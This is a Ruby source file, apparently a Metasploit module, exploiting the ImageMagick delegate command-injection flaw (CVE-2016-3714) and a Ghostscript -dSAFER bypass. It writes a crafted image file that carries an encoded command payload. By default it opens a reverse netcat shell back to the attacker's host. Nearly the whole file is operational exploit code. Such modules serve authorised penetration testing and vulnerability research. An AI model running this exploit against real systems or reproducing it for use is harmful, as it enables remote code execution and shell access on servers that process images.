107 lines
3.5 KiB
Ruby
107 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a shell command injection in the way "delegates"
|
|
(commands for converting files) are processed in ImageMagick versions
|
|
<= 7.0.1-0 and <= 6.9.3-9 (legacy).
|
|
|
|
Since ImageMagick uses file magic to detect file format, you can create
|
|
a .png (for example) which is actually a crafted SVG (for example) that
|
|
triggers the command injection.
|
|
|
|
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
|
|
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
|
|
Ghostscript versions 9.18 and later are affected.
|
|
|
|
If USE_POPEN is set to true, a |-prefixed command will be used for the
|
|
exploit. No delegates are involved in this exploitation.
|
|
},
|
|
'Author' => [
|
|
'stewie', # Vulnerability discovery
|
|
'Nikolay Ermishkin', # Vulnerability discovery
|
|
'wvu', # Metasploit module
|
|
'hdm' # Metasploit module
|
|
],
|
|
'References' => [
|
|
%w{CVE 2016-3714},
|
|
%w{CVE 2016-7976},
|
|
%w{URL https://imagetragick.com/},
|
|
%w{URL http://seclists.org/oss-sec/2016/q2/205},
|
|
%w{URL http://seclists.org/oss-sec/2016/q3/682},
|
|
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
|
|
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
|
|
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
|
|
],
|
|
'DisclosureDate' => 'May 3 2016',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => false,
|
|
'Payload' => {
|
|
'BadChars' => "\x22\x27\x5c", # ", ', and \
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd cmd_bash',
|
|
'RequiredCmd' => 'generic netcat bash-tcp'
|
|
}
|
|
},
|
|
'Targets' => [
|
|
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
|
|
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
|
|
['PS file', template: 'msf.ps'] # PoC from taviso
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
|
'LHOST' => Rex::Socket.source_address,
|
|
'DisablePayloadHandler' => false,
|
|
'WfsDelay' => 9001
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
|
|
OptBool.new('USE_POPEN', [false, 'Use popen() vector', true])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
if target.name == 'SVG file'
|
|
p = Rex::Text.html_encode(payload.encoded)
|
|
else
|
|
p = payload.encoded
|
|
end
|
|
|
|
file_create(template.sub('echo vulnerable > /dev/tty', p))
|
|
end
|
|
|
|
def template
|
|
if datastore['USE_POPEN']
|
|
t = 'popen'
|
|
else
|
|
t = 'delegate'
|
|
end
|
|
|
|
begin
|
|
File.read(File.join(
|
|
Msf::Config.data_directory, 'exploits', 'imagemagick', t,
|
|
target[:template]
|
|
))
|
|
rescue Errno::ENOENT
|
|
fail_with(Failure::BadConfig, "Target has no #{t} support")
|
|
end
|
|
end
|
|
|
|
end
|